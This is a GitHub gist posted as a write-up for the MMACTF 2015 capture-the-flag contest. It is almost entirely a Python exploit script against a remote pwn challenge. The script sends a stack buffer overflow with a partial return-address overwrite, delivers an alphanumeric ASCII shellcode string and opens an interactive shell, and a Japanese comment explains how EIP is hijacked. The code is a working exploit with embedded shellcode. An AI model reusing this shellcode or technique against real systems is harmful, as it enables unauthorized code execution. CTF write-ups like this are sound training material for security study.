Created
September 7, 2015 11:27
-
-
Save Ga-ryo/cc916f5e8dbc3d04fa40 to your computer and use it in GitHub Desktop.
MMACTF Writeup
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# -*- coding: utf-8 -*- | |
import struct, socket, sys, telnetlib | |
def sock(remoteip="127.0.0.1", remoteport=1234): | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((remoteip, remoteport)) | |
return s, s.makefile('rw', bufsize=0) | |
def read_until(f, delim='\n'): | |
data = '' | |
while not data.endswith(delim): | |
data += f.read(1) | |
return data | |
def shell(s): | |
t = telnetlib.Telnet() | |
t.sock = s | |
t.interact() | |
def p(a): return struct.pack("<I",a) | |
def u(a): return struct.unpack("<I",a)[0] | |
#数字は無視されるよ | |
ascii_ret = 0x080a485a | |
shellcode = 'PYh3333k4dsFkDqG02DqH0D10u03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02' | |
""" | |
手元じゃ動かないけど,リモートだと3回目になぜか必ずPerfect!!となる. | |
Perfect!となると動きをちゃんと追いかけてないけどバッファオーバーフローでEIPが奪える(その前の入力の最後のほうがEIPに進入する) | |
ただ数字は無視されるわASCII以外はダメだわで面倒.というか有効なreturn addressがASCII範囲内に無い. | |
しょうがないので下3byteを書き換えてret命令にROPする.(改行コードが0xaなので残り2つを良い感じに調整した) | |
するとオーバーフロー成立時にはスタックTOPにPerfectとなる文字列へのポインタがあるのでそこにretする. | |
実行権がスタックにあるのでその文字列にはASCIIシェルコードをぶち込んでおけば実行されてちゃんちゃん | |
(localだとASCIIシェルコードはPerfect!にならないので攻撃が成立しない.) | |
""" | |
#HOST, PORT = "localhost", 4444 | |
HOST, PORT = "pwn1.chal.mmactf.link", 38264 | |
s, f = sock(HOST, PORT) | |
raw_input('debug') | |
buf = 'A'*4079 | |
buf += 'ZH\n' | |
f.write(buf) | |
raw_input('debug2') | |
f.write('HOGE\n') | |
raw_input('debug3') | |
f.write(shellcode+'\n') | |
shell(s) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment